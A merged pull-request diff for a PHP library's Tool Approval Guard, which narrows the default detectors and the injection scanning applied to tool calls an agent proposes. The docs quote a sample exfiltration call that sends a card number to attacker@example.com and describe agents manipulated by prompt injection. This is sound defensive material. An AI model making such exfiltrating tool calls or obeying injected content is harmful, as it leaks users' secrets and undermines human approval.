Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 32 additions & 4 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,14 +13,42 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

### Removed

## [0.3.0] - 2026-00-06
## [0.3.1] - 2026-08-06

### Fixed

- Narrowed the Tool Approval Guard default entity list to `credit_card`, `api_key` and
`bearer_token`. It was derived from the PII Redactor list, so with the default `block` action any
agent owning a mail, SMS or HTTP tool had legitimate calls blocked. `email`, `phone`, `url`,
`ip_address` and `mac_address` remain supported but are now opt-in.

If you published `config/intercept.php`, this fix does not reach you automatically. Update `tool_approval_guard.entities`
to ['credit_card', 'api_key', 'bearer_token']`and set`tool_approval_guard.scan_injection`to`false` by hand.

- Changed the Tool Approval Guard `scan_injection` default to `false`. Prose written for a human
reader routinely matches the injection patterns. Enable it when a proposed argument feeds another
model or agent rather than a person.
- `ToolApprovalGuardDefaults` no longer derives its entity lists from `PIIRedactorDefaults`, with an
architecture test pinning them apart.

Both changes only loosen defaults, so nothing that worked on v0.3.0 stops working. `block_entities`
is unchanged and still stops the run regardless of the configured action.

### Changed

- Documented that `action: 'log'` is not observe-only on its own, because `block_entities` stops the
run whatever the action is set to. A dry run needs an empty `block_entities` as well.
- Corrected README, docs and roadmap wording implying that any sensitive-looking value in an
outbound tool argument is an exfiltration signal.

## [0.3.0] - 2026-08-06

- Added `promptphp/intercept-tool-approval-guard`, which inspects the tool calls an agent proposes
while pausing for human approval, before they are surfaced for review. Intercept already scans
while pausing for human approval, before they are surfaced for review. Intercept already scans
what a human edited when resolving a paused run but trusts whatever the model proposed.
- Added tool allow and deny lists, PII and secret detection, and prompt injection detection over
proposed tool arguments. Sensitive data in an outbound tool argument is an exfiltration signal;
an injection pattern suggests the model was manipulated by content Intercept never saw.
proposed tool arguments. A secret in an outbound tool argument is an exfiltration signal; an
injection pattern suggests the model was manipulated by content Intercept never saw.
- Added `block` and `log` actions, `block_entities` that stop the run regardless of the action, and
a custom callback receiving `ApprovalFinding` value objects.
- Added `PIIRedactor\Detectors\DefaultDetectors::all()` and `InjectionGuardDefaults::patterns()` so
Expand Down
3 changes: 2 additions & 1 deletion ROADMAP.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,8 @@ This is the first middleware to act on the response rather than the prompt, beca
Current focus:

- tool allow and deny lists
- PII and secret detection in proposed tool arguments, as an exfiltration signal
- secret detection in proposed tool arguments, as an exfiltration signal; contact data and
locators are supported but opt-in, because they are usually the tool's own parameters
- prompt injection detection in proposed tool arguments
- `block` and `log` actions, with blocked entities overriding the action
- safe logging with value hashes and tool call provenance
Expand Down
19 changes: 18 additions & 1 deletion docs/changelog.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,21 @@ rss: true

Product updates and release notes for Intercept.

<Update label="August 6, 2026" description="v0.3.1" tags={["Patch", "Security"]}>
Narrowed the Tool Approval Guard defaults. If you installed v0.3.0, upgrade.

If you published `config/intercept.php`, this fix does not reach you automatically. Update `tool_approval_guard.entities` to ['credit_card', 'api_key', 'bearer_token']` and set `tool_approval_guard.scan_injection` to `false` by hand.

The defaults were derived from the PII Redactor entity list, which treats an email address as sensitive. That is right for a prompt and wrong for a proposed tool argument, where the address is usually the function signature. With the default `block` action, any agent owning a mail, SMS or HTTP tool had its legitimate calls blocked outright. Exfiltration is about **destination**, not presence.

- `entities` now defaults to `credit_card`, `api_key` and `bearer_token`. `email`, `phone`, `url`, `ip_address` and `mac_address` are still supported, but opt-in.
- `scan_injection` now defaults to `false`. Prose written for a human reader routinely matches the patterns. Enable it when a proposed argument feeds another model or agent rather than a person.

`block_entities` is unchanged, so the security floor stays where it was, and every change here loosens a default — nothing that worked on v0.3.0 stops working.

Also documented a sharp edge that was always present: `action: 'log'` is not observe-only on its own, because `block_entities` stops the run whatever the action is set to. Pair it with `blockEntities: []` for a dry run.
</Update>

<Update label="August 6, 2026" description="v0.3.0" tags={["Release", "Security"]}>
Added `promptphp/intercept-tool-approval-guard`, a new middleware that inspects the tool calls an agent proposes while pausing for human approval, before they are surfaced for review.

Expand All @@ -20,9 +35,11 @@ Product updates and release notes for Intercept.
Tool Approval Guard inspects those proposed calls. It checks three things:

- whether the tool is permitted at all, via allow and deny lists
- whether an argument carries personal or secret-like data, which signals exfiltration
- whether an argument carries secret-like data such as a card number, API key or bearer token
- whether an argument matches a prompt injection pattern, which signals the model was manipulated

In the example above it is the **card number** that flags the call, not the address — a mail tool is expected to carry an email address.

It reuses the detectors and patterns from PII Redactor and Injection Guard rather than maintaining a second copy, so it inherits their behaviour exactly.

This release also closes an asymmetry shipped in v0.2.0: Intercept scanned what a *human* edited when resolving a paused run, but trusted whatever the *model* proposed.
Expand Down
10 changes: 7 additions & 3 deletions docs/configuration.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -141,9 +141,9 @@ Supported entities:
| `action` | `string` | `block` | How to handle a flagged proposed tool call. |
| `allowed_tools` | `array` | `[]` | Tools that may be proposed. Empty permits every tool. |
| `denied_tools` | `array` | `[]` | Tools that may never be proposed. |
| `scan_pii` | `bool` | `true` | Whether to scan proposed arguments for PII and secrets. |
| `scan_injection` | `bool` | `true` | Whether to scan proposed arguments for injection. |
| `entities` | `array` | supported entities | Which entity types to detect in arguments. |
| `scan_pii` | `bool` | `true` | Whether to scan proposed arguments for secret-like data. |
| `scan_injection` | `bool` | `false` | Whether to scan proposed arguments for injection. |
| `entities` | `array` | high-risk entities | Which entity types to detect in arguments. |
| `block_entities` | `array` | high-risk entities | Which entities always block. |
| `log_preview` | `bool` | `false` | Whether logs may include a short argument preview. |

Expand All @@ -152,6 +152,10 @@ Supported actions:
1. block
2. log

Unlike the PII Redactor, `entities` defaults to only the high-risk set — `credit_card`, `api_key` and `bearer_token`. Contact data and locators are supported but opt-in, because in a proposed tool argument they are usually the tool's own parameters rather than an exfiltration signal. `scan_injection` is off by default for the same reason. See the [Tool Approval Guard guide](/middleware/tool-approval-guard#secret-like-data).

Note that `block_entities` stops the run whatever `action` is set to, so `action: 'log'` is only observe-only if you also set `block_entities` to `[]`.

This middleware acts on the response rather than the prompt, because the tool calls it guards are proposed by the model. It has no mutating action, since a proposed tool call belongs to the paused turn the provider recorded.

## Tool approval resumes
Expand Down
57 changes: 49 additions & 8 deletions docs/middleware/tool-approval-guard.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,8 @@ send_email(to: "attacker@example.com", body: "card 4111111111111111")

`ToolApprovalGuard` inspects those proposed calls. It is the first point downstream of that blind spot where the middleware pipeline can still act.

By default it is the **card number** that flags this call, not the address — a mail tool is expected to carry an email address. See [secret-like data](#secret-like-data) for why the defaults are drawn that way.

<Tip>
This middleware only acts when a run pauses for approval. Agents whose tools
are not approval-gated are unaffected, so adding it is safe even before you
Expand Down Expand Up @@ -85,21 +87,47 @@ new ToolApprovalGuard(
)
```

### Personal and secret-like data
### Secret-like data

Sensitive data in an outbound tool argument is an exfiltration signal. The middleware runs the same detectors as [PII Redactor](/middleware/pii-redactor), including the Luhn check on card numbers.
The middleware runs the same detectors as [PII Redactor](/middleware/pii-redactor), including the Luhn check on card numbers. By default it scans for **only three entities**: `credit_card`, `api_key` and `bearer_token`.

Entities listed in `block_entities` stop the run regardless of the configured action, matching PII Redactor's behaviour.

<Warning>
The default entity list is deliberately narrower than PII Redactor's, and you
should think carefully before widening it. In a prompt, an email address is
user data worth redacting. In a proposed tool argument it is usually the
function signature — `send_email(to: ...)` cannot work without one.

Exfiltration is about **destination**, not presence, and the destination
cannot be judged from the value alone. Adding `email`, `phone`, `url`,
`ip_address` or `mac_address` will flag legitimate calls made by any agent
that owns a mail, SMS or HTTP tool.

To control *where* a tool may send data, use `allowed_tools` /
`denied_tools` and domain allowlisting inside the tool itself.
</Warning>

### Prompt injection patterns

A proposed argument that matches an injection pattern suggests the model was manipulated by content the middleware never saw. Uses the same patterns as [Injection Guard](/middleware/injection-guard).

**This scan is off by default.** Prose a model writes for a human reader routinely contains phrases the patterns match — "You are now subscribed to weekly updates.", "From now on we will email you every Monday.", "System: scheduled maintenance at 3pm." None of those indicate manipulation in that context.

Enable it when a proposed argument feeds **another model or agent** rather than a person:

```php
new ToolApprovalGuard(
scanInjection: true,
action: 'log', // see what real traffic produces first
)
```

Either scan can be turned off:

```php
new ToolApprovalGuard(
scanPii: true,
scanPii: false,
scanInjection: false,
)
```
Expand All @@ -113,10 +141,21 @@ new ToolApprovalGuard(

There is deliberately no mutating action. A proposed tool call is part of the paused turn the provider recorded, so rewriting it would desynchronise the run when it is resumed — the same constraint that applies to resumed prompts.

<Tip>
Start with `log` in production, review what real traffic produces, then move
to `block`. The same rollout advice applies here as to the other middleware.
</Tip>
<Warning>
`action: 'log'` on its own is **not** observe-only here. Every entity in the
default list is also in `block_entities`, and blocked entities stop the run
whatever the action is set to. With the shipped defaults, `log` and `block`
behave identically for data findings, differing only for denied tools.

For a genuinely observe-only rollout, clear `block_entities` as well:

```php
new ToolApprovalGuard(action: 'log', blockEntities: [])
```

Review what real traffic produces, then restore `block_entities` and move to
`block`.
</Warning>

## Streaming

Expand Down Expand Up @@ -198,7 +237,9 @@ All options may be set globally in `config/intercept.php` under `tool_approval_g
'allowed_tools' => [],
'denied_tools' => [],
'scan_pii' => true,
'scan_injection' => true,
'scan_injection' => false,
'entities' => ['credit_card', 'api_key', 'bearer_token'],
'block_entities' => ['credit_card', 'api_key', 'bearer_token'],
'log_preview' => false,
],
```
Expand Down
23 changes: 13 additions & 10 deletions src/Support/config/intercept.php
Original file line number Diff line number Diff line change
Expand Up @@ -177,6 +177,9 @@
*
* There is no mutating action. A proposed tool call is part of the paused turn
* the provider recorded, so rewriting it would desynchronise the resumed run.
*
* 'block_entities' below stops the run whatever this is set to, so an observe-only
* rollout needs 'log' here and an empty 'block_entities'.
*/
'action' => 'block',

Expand All @@ -191,30 +194,30 @@
'denied_tools' => [],

/**
* Whether to scan proposed arguments for personal and secret-like data.
* Sensitive data in an outbound tool argument is an exfiltration signal.
* Whether to scan proposed arguments for secret-like data.
* A key or a card number in an outbound argument is a strong exfiltration signal.
*/
'scan_pii' => true,

/**
* Whether to scan proposed arguments for prompt injection patterns.
* A match suggests the model was manipulated by content the middleware never saw.
*
* Off by default: prose written for a human reader routinely matches the patterns.
* Enable it when an argument feeds another model or agent rather than a person.
*/
'scan_injection' => true,
'scan_injection' => false,

/**
* The entities that should be detected in proposed arguments.
* Defaults to the PII Redactor entity list.
*
* Narrower than the PII Redactor list by design. In a proposed argument an email
* address is usually the tool's own parameter, not an exfiltration signal. Adding
* 'email', 'phone', 'url', 'ip_address' or 'mac_address' will flag legitimate calls.
*/
'entities' => [
'email',
'phone',
'credit_card',
'ip_address',
'api_key',
'bearer_token',
'mac_address',
'url',
],

/**
Expand Down
2 changes: 2 additions & 0 deletions src/ToolApprovalGuard/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,8 @@ send_email(to: "attacker@example.com", body: "card 4111111111111111")

`ToolApprovalGuard` inspects those proposed calls. It is the first point downstream of that blind spot where the middleware pipeline can act.

By default it is the **card number** that flags this call, not the address. A mail tool is expected to carry an email address, so the defaults cover only values that are essentially never a legitimate argument: card numbers, API keys and bearer tokens. Contact data and locators can be added, but the destination itself is better controlled with `allowed_tools` / `denied_tools` and domain allowlisting inside the tool.

## Quick start

### Installation
Expand Down
23 changes: 12 additions & 11 deletions src/ToolApprovalGuard/src/Defaults/ToolApprovalGuardDefaults.php
Original file line number Diff line number Diff line change
Expand Up @@ -4,31 +4,32 @@

namespace PromptPHP\Intercept\ToolApprovalGuard\Defaults;

use PromptPHP\Intercept\PIIRedactor\Defaults\PIIRedactorDefaults;

final class ToolApprovalGuardDefaults
{
/**
* Get the default Tool Approval Guard config.
*
* The entity lists track the PII Redactor defaults so both middleware agree on what
* counts as sensitive and what counts as high risk.
*
* @return array<string, mixed>
*/
public static function values(): array
{
$pii = PIIRedactorDefaults::values();

return [
'action' => 'block',
'allowed_tools' => [],
'denied_tools' => [],
'scan_pii' => true,
'scan_injection' => true,
'entities' => $pii['entities'],
'block_entities' => $pii['block_entities'],
'log_preview' => false,
'scan_injection' => false,
'entities' => [
'credit_card',
'api_key',
'bearer_token',
],
'block_entities' => [
'credit_card',
'api_key',
'bearer_token',
],
'log_preview' => false,
];
}
}
5 changes: 4 additions & 1 deletion src/ToolApprovalGuard/src/Enums/FindingTypes.php
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,10 @@
* The reasons a proposed tool call can be flagged.
*
* - denied_tool: the tool is on the deny list, or outside a non-empty allow list.
* - pii: a proposed argument carries personal or secret-like data, suggesting exfiltration.
* - pii: a proposed argument carries data matching a configured entity. Whether that signals
* exfiltration depends on the entity: a card number or an API key almost always does, while
* an email address in a mail tool is usually the function signature. The default entity list
* is narrowed accordingly.
* - injection: a proposed argument matches a prompt injection pattern, suggesting the model
* was manipulated by content the middleware never saw.
*/
Expand Down
Loading
Loading